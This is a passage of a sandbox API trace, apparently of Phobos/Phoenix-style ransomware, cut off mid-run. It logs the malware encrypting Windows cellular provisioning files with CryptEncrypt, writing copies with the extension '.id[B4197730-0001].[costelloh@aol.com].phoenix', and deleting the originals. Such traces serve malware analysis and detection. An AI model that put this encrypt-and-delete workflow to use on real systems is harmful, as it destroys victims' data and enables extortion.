	[0247.313] CryptDestroyKey (hKey=0x151780) returned 1
	[0247.313] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0247.313] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.313] CloseHandle (hObject=0x2b4) returned 1
	[0247.313] CloseHandle (hObject=0x2f0) returned 1
	[0247.314] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.315] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.315] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.315] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=859) returned 1
	[0247.315] CloseHandle (hObject=0x2f0) returned 1
	[0247.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.316] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.316] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.316] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.316] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0247.316] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.316] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x35b, lpOverlapped=0x0) returned 1
	[0247.426] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0247.426] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0247.427] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0247.427] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.427] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.427] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.427] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.427] CryptDestroyKey (hKey=0x151240) returned 1
	[0247.427] CloseHandle (hObject=0x2f0) returned 1
	[0247.427] CloseHandle (hObject=0x2b4) returned 1
	[0247.427] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.439] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.439] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.439] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=648) returned 1
	[0247.439] CloseHandle (hObject=0x2b4) returned 1
	[0247.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.439] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.440] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.440] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.440] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.440] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0247.440] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.440] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x288, lpOverlapped=0x0) returned 1
	[0247.442] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0247.442] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0247.443] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0247.443] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.443] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.443] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.443] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.443] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.443] CloseHandle (hObject=0x2b4) returned 1
	[0247.443] CloseHandle (hObject=0x2f0) returned 1
	[0247.444] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.444] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.445] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.445] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=656) returned 1
	[0247.445] CloseHandle (hObject=0x2f0) returned 1
	[0247.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.484] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.484] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.484] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.484] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0247.490] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.490] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x290, lpOverlapped=0x0) returned 1
	[0247.500] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0247.500] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0247.502] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0247.502] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.502] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.502] CryptDestroyKey (hKey=0x151740) returned 1
	[0247.502] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.502] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.502] CloseHandle (hObject=0x2f0) returned 1
	[0247.502] CloseHandle (hObject=0x2b4) returned 1
	[0247.502] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.503] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.504] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=498) returned 1
	[0247.504] CloseHandle (hObject=0x2b4) returned 1
	[0247.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.504] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.505] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.505] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.505] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0247.505] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.505] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1f2, lpOverlapped=0x0) returned 1
	[0247.547] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x200, dwBufLen=0x200 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x200) returned 1
	[0247.547] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x200, lpOverlapped=0x0) returned 1
	[0247.549] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0247.549] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.549] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0247.549] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.549] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0247.549] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.549] CloseHandle (hObject=0x2b4) returned 1
	[0247.549] CloseHandle (hObject=0x2f0) returned 1
	[0247.549] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.550] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.550] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.551] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=867) returned 1
	[0247.551] CloseHandle (hObject=0x2f0) returned 1
